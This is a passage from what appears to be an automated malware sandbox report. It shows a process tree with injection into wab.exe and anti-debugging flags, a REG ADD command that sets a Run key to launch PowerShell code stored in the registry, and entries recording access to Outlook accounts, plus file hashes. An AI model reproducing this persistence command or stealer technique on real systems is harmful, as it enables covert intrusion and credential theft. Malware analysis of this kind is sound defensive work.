$Berilds;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Contributors.Pap && echo t"4⤵PID:3732
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4504 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Slidfladerne" /t REG_EXPAND_SZ /d "%Skovbyggelinjernes% -w 1 $Slutvrdier=(Get-ItemProperty -Path 'HKCU:\Rewets\').Cavilingness;%Skovbyggelinjernes% ($Slutvrdier)"5⤵
- Suspicious use of WriteProcessMemory
PID:4456 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Slidfladerne" /t REG_EXPAND_SZ /d "%Skovbyggelinjernes% -w 1 $Slutvrdier=(Get-ItemProperty -Path 'HKCU:\Rewets\').Cavilingness;%Skovbyggelinjernes% ($Slutvrdier)"6⤵
- Adds Run key to start application
- Modifies registry key
PID:3464 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\fncgvusxhvdvdl"5⤵
- Suspicious behavior: EnumeratesProcesses
PID:4216 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\hihzomkyvdvzfrhgv"5⤵
- Accesses Microsoft Outlook accounts
PID:2604 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\sknrpfvsrlneqxdkeina"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4696
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD525a7e8d624c2bfdb2facdc50a1d9b965
SHA1bbf90e7e78dcba692d6a35716d72cd1affc8cf9c
SHA256880d0a92fcd2d68631b413e0cc98d71fc68337abb19f59901c075e058c694b47
SHA51235e57b1fd68fd64c325d179323c3383c39cb00e37b42480c0962517eb8ffdffd5d3a95b77122161f651e45ab2fee4a8e5c3f604bd80351a2680f087ea2b9517f
-
Filesize
440KB
MD56d3d810b1b531a393dd8a200f17378b8
SHA1bc31c057297d2b467a46d843030f1ff377f55f1e
SHA256786447c3a5269cec661eb9e7bea51a58df805afaceb116677ff1974cc0d6d7df
SHA512a77ecb7cc1d0bb183fdef43747f7156bd72e5fcb32e2e8c7671a926707b313245e08b682ce03b6b862f9f4ff1f62cf566d98fbde3384c67b60c0a2cb8dcbf358